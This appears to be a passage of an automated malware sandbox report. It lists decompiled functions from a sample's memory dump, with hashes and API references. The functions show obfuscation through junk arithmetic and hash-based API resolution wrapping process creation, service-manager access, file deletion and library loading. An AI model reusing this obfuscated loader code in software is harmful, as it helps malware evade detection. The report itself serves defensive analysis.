Instruction ID: 0154e6d5fc01b3f2f6db7f2e93b0dd5cd6a3ce6ada14ce273635719fda466ae7
Opcode Fuzzy Hash: 6d58ff672383f983ad674ac4d7b2761bf86f16b92378b9413d6a93126bdc7091
Instruction Fuzzy Hash: 4751C271914B808BD324CF69C940B96BBF4FF49354F248A2DE8D68BA91E730F549CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02F39100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E02F39100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E02F28002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E02F3E399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x02f3910a
0x02f3910c
0x02f3910d
0x02f3910e
0x02f39111
0x02f39114
0x02f39117
0x02f3911a
0x02f3911d
0x02f39120
0x02f39123
0x02f39126
0x02f39127
0x02f3912a
0x02f3912d
0x02f39130
0x02f39133
0x02f39134
0x02f39137
0x02f39138
0x02f39139
0x02f3913a
0x02f3913f
0x02f39149
0x02f3914c
0x02f39153
0x02f3915a
0x02f39161
0x02f39168
0x02f3916f
0x02f39176
0x02f3918e
0x02f39191
0x02f39198
0x02f3919f
0x02f391a6
0x02f391ad
0x02f391b4
0x02f391bb
0x02f391c2
0x02f391d5
0x02f391ef
0x02f391f6

APIs

CreateProcessW.KERNEL32(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02F391EF

Strings

31, xrefs: 02F3919F

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 8650909b480dd3a73a03b255952ef7a7acc5b2a1a494594a3b757999d856733b
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 8D31C172801259BB8F559FA6CD45CDEBFB5EF89754F108158FA1462120C3728A60EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F2890E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E02F2890E(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t46;
				intOrPtr* _t57;
				void* _t58;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;

				_t68 = __edx;
				_t67 = __ecx;
				E02F28002(_t46);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x5a89c2;
				_v12 = 0xac9734;
				_t60 = 0xf;
				_v12 = _v12 / _t60;
				_v12 = _v12 + 0xbff0;
				_v12 = _v12 ^ 0x0000f03b;
				_v20 = 0x5d6235;
				_t61 = 0x58;
				_v20 = _v20 * 0x48;
				_v20 = _v20 ^ 0x1a4c6f32;
				_v8 = 0x1651ff;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0x3de9;
				_v8 = _v8 | 0x9dbfa52d;
				_v8 = _v8 ^ 0x9dbe342b;
				_v16 = 0xc9b349;
				_v16 = _v16 >> 0xa;
				_v16 = _v16 ^ 0x000d61f6;
				_t57 = E02F3E399(_t61, _v8 % _t61, _t61, 0xa2449830, 0x195, 0x5faffbf6);
				_t58 =  *_t57(_t67, 0, _t68, 0x28, __ecx, __edx, _a4, _a8, 0x28, 0, _a20, _a24); // executed
				return _t58;
			}

0x02f28919
0x02f2891b
0x02f2892c
0x02f28931
0x02f28937
0x02f2893e
0x02f2894a
0x02f2894f
0x02f28954
0x02f2895b
0x02f28962
0x02f2896d
0x02f28971
0x02f28974
0x02f2897b
0x02f2898c
0x02f2898f
0x02f28996
0x02f2899d
0x02f289a4
0x02f289ab
0x02f289af
0x02f289cd
0x02f289db
0x02f289e2

APIs

SetFileInformationByHandle.KERNEL32(00000000,00000000,?,00000028,?,?,?,?,?,?,?,?,?,00000036,00000000,00000036), ref: 02F289DB

Strings

5b], xrefs: 02F28962

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: FileHandleInformation
String ID: 5b]
API String ID: 3935143524-2683361797
Opcode ID: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction ID: 510d4caa10bc63dbf28888f9c1cec37748ec222c50f7c78df0fa01aaf0006674
Opcode Fuzzy Hash: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction Fuzzy Hash: 592168B5E41208BBDB14DF99CD4AAEEBFB5FF40310F108099E914BA280D7B95B159F90

Uniqueness

Uniqueness Score: -1.00%

Function 02F2C38F, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E02F2C38F(void* __ecx, int __edx, void* _a4, intOrPtr _a8, short* _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t50;
				void* _t59;
				signed int _t61;
				int _t65;

				_push(_a12);
				_t65 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E02F28002(_t50);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0x617f6e;
				_v32 = 0x2c9f69;
				_v12 = 0x3d345c;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 << 1;
				_v12 = _v12 + 0xffff1c15;
				_v12 = _v12 ^ 0xfffbc300;
				_v8 = 0x1d3e99;
				_t61 = 0x3e;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xcfea;
				_v8 = _v8 ^ 0x5f2ca55f;
				_v8 = _v8 ^ 0x5f2aa82f;
				_v16 = 0xf71959;
				_v16 = _v16 << 0xa;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xac874e69;
				_v20 = 0x5ac786;
				_v20 = _v20 ^ 0xe6acc0dd;
				_v20 = _v20 ^ 0xe6fddbb7;
				E02F3E399(_t61, _v8 % _t61, _t61, 0x1f1ae65e, 0x5e, 0x42b99377);
				_t59 = OpenServiceW(_a4, _a12, _t65); // executed
				return _t59;
			}

0x02f2c396
0x02f2c399
0x02f2c39b
0x02f2c39e
0x02f2c3a1
0x02f2c3a3
0x02f2c3a8
0x02f2c3ae
0x02f2c3b2
0x02f2c3b9
0x02f2c3c0
0x02f2c3c7
0x02f2c3cb
0x02f2c3ce
0x02f2c3d5
0x02f2c3dc
0x02f2c3e8
0x02f2c3ee
0x02f2c3f1
0x02f2c3f8
0x02f2c3ff
0x02f2c406
0x02f2c40d
0x02f2c411
0x02f2c415
0x02f2c41c
0x02f2c423
0x02f2c42a
0x02f2c44a
0x02f2c459
0x02f2c45f

APIs

OpenServiceW.ADVAPI32(FFFBC300,E6FDDBB7,?,?,?,?,?,?,?,?,02F42FF3,?), ref: 02F2C459

Strings

\4=, xrefs: 02F2C3C0

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: OpenService
String ID: \4=
API String ID: 3098006287-2040901920
Opcode ID: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction ID: 3885184c64c4d235f0f36de7d4af0f3a1ad03f544bdfdcbf2a59dcbd1d06f949
Opcode Fuzzy Hash: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction Fuzzy Hash: 0F2152B6C00209EBDB04CFE1C909ADEBFB0FF00324F108188E52566250C3BA4B55CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02F34CFD, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02F34CFD(void* __ecx, long __edx, long _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, void* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t46;
				void* _t56;
				signed int _t58;
				long _t62;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E02F28002(_t46);
				_v20 = 0x7fa37e;
				_v20 = _v20 | 0x057bdedc;
				_v20 = _v20 + 0xffffffcc;
				_v20 = _v20 ^ 0x057d9e34;
				_v8 = 0x65e94f;
				_t58 = 0x2a;
				_v8 = _v8 * 0x5b;
				_v8 = _v8 + 0xffffa5c0;
				_v8 = _v8 / _t58;
				_v8 = _v8 ^ 0x00d22f9e;
				_v16 = 0xf6ef89;
				_v16 = _v16 + 0x478;
				_v16 = _v16 ^ 0x0b24101f;
				_v16 = _v16 ^ 0x0bdb985c;
				_v12 = 0xb9bed2;
				_v12 = _v12 >> 5;
				_v12 = _v12 << 0xd;
				_v12 = _v12 ^ 0xb9b7d5de;
				E02F3E399(_t58, _v8 % _t58, _t58, 0xa2449830, 0x264, 0x8babc312);
				_t56 = RtlAllocateHeap(_a20, _a4, _t62); // executed
				return _t56;
			}

0x02f34d04
0x02f34d07
0x02f34d09
0x02f34d0c
0x02f34d0f
0x02f34d12
0x02f34d15
0x02f34d17
0x02f34d1c
0x02f34d25
0x02f34d2c
0x02f34d30
0x02f34d37
0x02f34d44
0x02f34d48
0x02f34d4b
0x02f34d5c
0x02f34d5f
0x02f34d66
0x02f34d6d
0x02f34d74
0x02f34d7b
0x02f34d82
0x02f34d89
0x02f34d8d
0x02f34d91
0x02f34daf
0x02f34dbe
0x02f34dc4

APIs

RtlAllocateHeap.NTDLL(?,B9B7D5DE,?,?,?,?,?,?,?,?,?,?,?), ref: 02F34DBE

Strings

Oe, xrefs: 02F34D37

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: Oe
API String ID: 1279760036-808228324
Opcode ID: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction ID: b935f2c8072700c59e59b171e2969d0b1cdee8b38f196b90e9d1e8a860ff0eb1
Opcode Fuzzy Hash: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction Fuzzy Hash: 69210272C01219FBCF14DFA4C94A8DEBFB1FB00364F108588E92466250D7B68B28AF90

Uniqueness

Uniqueness Score: -1.00%

Function 02F255C0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E02F255C0(void* __ecx, WCHAR* __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t44;
				int _t56;
				signed int _t58;
				signed int _t59;
				WCHAR* _t65;

				_push(_a4);
				_t65 = __edx;
				_push(__edx);
				E02F28002(_t44);
				_v12 = 0xc09d41;
				_t58 = 0x5c;
				_v12 = _v12 / _t58;
				_v12 = _v12 + 0xffffef63;
				_v12 = _v12 ^ 0xe9e279a7;
				_v12 = _v12 ^ 0xe9e62653;
				_v20 = 0xa2cc51;
				_t59 = 0x34;
				_v20 = _v20 / _t59;
				_v20 = _v20 ^ 0x000b7ed2;
				_v8 = 0xd564b1;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 + 0x176e;
				_v8 = _v8 | 0xf1e3b14c;
				_v8 = _v8 ^ 0xf1e4530b;
				_v16 = 0xd8623f;
				_v16 = _v16 * 0x37;
				_v16 = _v16 << 4;
				_v16 = _v16 ^ 0xe7d235eb;
				E02F3E399(_t59, _v20 % _t59, _t59, 0xa2449830, 0x246, 0x6ae2bc6b);
				_t56 = DeleteFileW(_t65); // executed
				return _t56;
			}

0x02f255c7
0x02f255ca
0x02f255cc
0x02f255ce
0x02f255d3
0x02f255e1
0x02f255e6
0x02f255eb
0x02f255f2
0x02f255f9
0x02f25600
0x02f2560a
0x02f25610
0x02f25613
0x02f2561a
0x02f25621
0x02f25625
0x02f2562c
0x02f25633
0x02f2563a
0x02f25655
0x02f25658
0x02f2565c
0x02f2566f
0x02f25678
0x02f2567e

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 02F25678

Strings

S&, xrefs: 02F255F9

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: DeleteFile
String ID: S&
API String ID: 4033686569-4232605156
Opcode ID: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction ID: 9cc48949ae039b4f6f3becee8edde2f68b0fe1dc89761a340d5589ff58cef5e9
Opcode Fuzzy Hash: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction Fuzzy Hash: 76112070D05318ABDB18DFA8C94A8DEBBB5FF90310F108099E529AB290D7B59B15CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02F27C11, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
libraryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E02F27C11(void* __ecx, WCHAR* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t37;
				struct HINSTANCE__* _t44;
				WCHAR* _t47;

				_push(_a8);
				_t47 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E02F28002(_t37);
				_v16 = 0xc57804;
				_v16 = _v16 + 0x7e2a;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x062dce69;
				_v20 = 0xc0d373;
				_v20 = _v20 ^ 0xd8d0ddee;
				_v20 = _v20 ^ 0xd81819b4;
				_v12 = 0x9f362e;
				_v12 = _v12 + 0xfffffd91;
				_v12 = _v12 << 0xc;
				_v12 = _v12 >> 0xc;
				_v12 = _v12 ^ 0x000a9d69;
				_v8 = 0xe543a4;
				_v8 = _v8 ^ 0xe0ed073d;
				_v8 = _v8 | 0x93b71955;
				_v8 = _v8 << 7;
				_v8 = _v8 ^ 0xdfad752a;
				E02F3E399(__ecx, __edx, __ecx, 0xa2449830, 0x129, 0xf0e92e19);
				_t44 = LoadLibraryW(_t47); // executed
				return _t44;
			}

0x02f27c18
0x02f27c1b
0x02f27c1d
0x02f27c20
0x02f27c21
0x02f27c22
0x02f27c27
0x02f27c31
0x02f27c38
0x02f27c3c
0x02f27c43
0x02f27c4a
0x02f27c51
0x02f27c58
0x02f27c5f
0x02f27c66
0x02f27c6a
0x02f27c6e
0x02f27c75
0x02f27c7c
0x02f27c83
0x02f27c8a
0x02f27c8e
0x02f27cb1
0x02f27cba
0x02f27cc0

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 02F27CBA

Strings

*~, xrefs: 02F27C31

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID: *~
API String ID: 1029625771-2567930604
Opcode ID: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction ID: d5d66cd91774088d03aaa5b64867eccd660733d52f8b037d178278e8dab34286
Opcode Fuzzy Hash: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction Fuzzy Hash: 341122B5D01218BBDF14EFE5C80A49EBBB4FF00344F108198E826A2250E3B94B18DF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFC7D4, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EBFC821

Part of subcall function 6EBFCEAD: InitializeSListHead.KERNEL32(6EC3E4A0,6EBFC82B,6EC3AF60,00000010,6EBFC7BC,?,?,?,6EBFC9E4,?,00000001,?,?,00000001,?,6EC3AFA8), ref: 6EBFCEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EBFC88B

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 7b3e92a15674b28c8421a9929041770b81bd0ea445e86c2af77ccce7e8faa74f
Instruction ID: 437eadda1ca23451e02809fd8ec972738211f20274880e420381dcd401a7c934
Opcode Fuzzy Hash: 7b3e92a15674b28c8421a9929041770b81bd0ea445e86c2af77ccce7e8faa74f
Instruction Fuzzy Hash: 7321D1325582C6EEDB42ABF495107EC7F649B06228F110C19E4916F2C2DB22058F9EA9

Uniqueness

Uniqueness Score: -1.00%

Function 02F30207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E02F30207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E02F28002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E02F3E399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x02f3020f
0x02f30212
0x02f30214
0x02f30217
0x02f3021a
0x02f3021d
0x02f3021f
0x02f30224
0x02f30232
0x02f30235
0x02f30238
0x02f30239
0x02f3023a
0x02f30246
0x02f30247
0x02f3024c
0x02f30250
0x02f30257
0x02f3025e
0x02f30265
0x02f30269
0x02f30270
0x02f30277
0x02f30285
0x02f3028a
0x02f30291
0x02f30298
0x02f3029f
0x02f302a9
0x02f302af
0x02f302b2
0x02f302d5
0x02f302e1
0x02f302e8

APIs

lstrcmpiW.KERNEL32(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 02F302E1

Strings

(Gt, xrefs: 02F3025E

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 15dad671bb1b2d1a11f48bbdd9109856d4a4e8a49fa92a1383cf0a43d7ab5a4d
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 022166B5E00208FBEF04DFA4CC0A9DEBBB2FB44714F108199E515AA250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02F32D06, Relevance: 1.6, APIs: 1, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02F32D06(long __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, long _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, long _a40, long _a44) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t53;
				void* _t66;
				signed int _t68;
				signed int _t69;
				long _t76;

				_push(_a44);
				_t76 = __ecx;
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E02F28002(_t53);
				_v32 = 0xa61226;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x8b5566;
				_t68 = 0x4f;
				_v12 = _v12 * 0x16;
				_v12 = _v12 * 0x58;
				_v12 = _v12 ^ 0x1db24b6c;
				_v20 = 0xae8f68;
				_t69 = 0x28;
				_v20 = _v20 / _t68;
				_v20 = _v20 ^ 0x00028d2f;
				_v16 = 0xdc96c3;
				_v16 = _v16 >> 3;
				_v16 = _v16 ^ 0x001086c5;
				_v8 = 0xcc437a;
				_v8 = _v8 << 5;
				_v8 = _v8 / _t69;
				_v8 = _v8 ^ 0x00a46bd6;
				E02F3E399(_t69, _v8 % _t69, _t69, 0xa2449830, 0x1b2, 0xa236d704);
				_t66 = CreateFileW(_a8, _t76, _a44, 0, _a16, _a40, 0); // executed
				return _t66;
			}

0x02f32d0e
0x02f32d13
0x02f32d15
0x02f32d18
0x02f32d1b
0x02f32d1c
0x02f32d1f
0x02f32d22
0x02f32d25
0x02f32d28
0x02f32d29
0x02f32d2c
0x02f32d30
0x02f32d31
0x02f32d36
0x02f32d3f
0x02f32d42
0x02f32d45
0x02f32d52
0x02f32d55
0x02f32d5c
0x02f32d5f
0x02f32d66
0x02f32d72
0x02f32d73
0x02f32d78
0x02f32d82
0x02f32d89
0x02f32d8d
0x02f32d94
0x02f32d9b
0x02f32da9
0x02f32dac
0x02f32dca
0x02f32de1
0x02f32de8

APIs

CreateFileW.KERNEL32(001086C5,?,?,00000000,0007BFC3,?,00000000), ref: 02F32DE1

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction ID: 2ddf2bbfb4ea9abe394c299b4d898500667861093a76b4416d600f28b20bfc3d
Opcode Fuzzy Hash: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction Fuzzy Hash: 9F210072900208BBCF05DFA5CD498DEBFB6FF89704F108049F914AA260D7B69A14DB90

Uniqueness

Uniqueness Score: -1.00%

Function 02F43231, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E02F43231(intOrPtr _a4, int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t51;
				void* _t65;
				signed int _t66;
				signed int _t67;
				signed int _t68;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(0);
				E02F28002(_t51);
				_v20 = 0x8ddd0f;
				_v20 = _v20 ^ 0xe03e86bb;
				_v20 = _v20 + 0xffff1f0e;
				_v20 = _v20 ^ 0xe0b01721;
				_v16 = 0x43c95a;
				_t66 = 3;
				_v16 = _v16 * 0x6c;
				_t67 = 0x1d;
				_v16 = _v16 / _t66;
				_v16 = _v16 ^ 0x0989b3a6;
				_v12 = 0xb34ce2;
				_v12 = _v12 ^ 0x4f195b2f;
				_v12 = _v12 / _t67;
				_v12 = _v12 ^ 0x02b53c02;
				_v8 = 0x60e613;
				_v8 = _v8 + 0xffff76e9;
				_v8 = _v8 + 0xffff1349;
				_t68 = 0x34;
				_v8 = _v8 / _t68;
				_v8 = _v8 ^ 0x000b7b8d;
				E02F3E399(_t68, _v8 % _t68, _t68, 0x1f1ae65e, 0x189, 0x1de1df5f);
				_t65 = OpenSCManagerW(0, 0, _a8); // executed
				return _t65;
			}

0x02f43238
0x02f4323d
0x02f43240
0x02f43243
0x02f43244
0x02f43245
0x02f4324a
0x02f43253
0x02f4325a
0x02f43261
0x02f43268
0x02f43275
0x02f43278
0x02f43280
0x02f43281
0x02f43286
0x02f4328d
0x02f43294
0x02f432a2
0x02f432a7
0x02f432ae
0x02f432b5
0x02f432bc
0x02f432c6
0x02f432cc
0x02f432cf
0x02f432f2
0x02f432ff
0x02f43305

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,0989B3A6,?,?,?,?,?,?,?,9C77B295,?), ref: 02F432FF

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction ID: 93d3e0375cfdd33271a7f80f4b300087691e69b05be615750ac7aadeb81ff53a
Opcode Fuzzy Hash: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction Fuzzy Hash: 03213476E01218FBCB04DFA9C84A9DEBFB6FF44310F10C18AE515AA250D7B55B119F80

Uniqueness

Uniqueness Score: -1.00%

Function 02F39038, Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E02F39038(void* __ecx, void* __edx, void* _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t53;
				int _t66;
				signed int _t68;
				signed int _t69;
				signed int _t70;

				_push(_a8);
				_push(_a4);
				E02F28002(_t53);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xed3f98;
				_v16 = 0x2a9dca;
				_t68 = 0x79;
				_v16 = _v16 / _t68;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x000f760a;
				_v20 = 0x68a68c;
				_t69 = 0x7f;
				_v20 = _v20 / _t69;
				_v20 = _v20 ^ 0x0005afe9;
				_v8 = 0x320c70;
				_t70 = 0x39;
				_v8 = _v8 / _t70;
				_v8 = _v8 | 0xebb37c35;
				_v8 = _v8 ^ 0x7178f36a;
				_v8 = _v8 ^ 0x9ac8a43f;
				_v12 = 0x21358c;
				_v12 = _v12 << 0xe;
				_v12 = _v12 >> 0xd;
				_v12 = _v12 ^ 0x00063172;
				E02F3E399(_t70, _v8 % _t70, _t70, 0xa2449830, 0x35, 0x3485d61b);
				_t66 = FindCloseChangeNotification(_a4); // executed
				return _t66;
			}

0x02f3903e
0x02f39041
0x02f39046
0x02f3904b
0x02f39051
0x02f39055
0x02f3905c
0x02f39068
0x02f3906d
0x02f39072
0x02f39076
0x02f3907d
0x02f39087
0x02f3908c
0x02f39091
0x02f39098
0x02f390a2
0x02f390a8
0x02f390ab
0x02f390b2
0x02f390b9
0x02f390c0
0x02f390c7
0x02f390cb
0x02f390cf
0x02f390ef
0x02f390fa
0x02f390ff

APIs

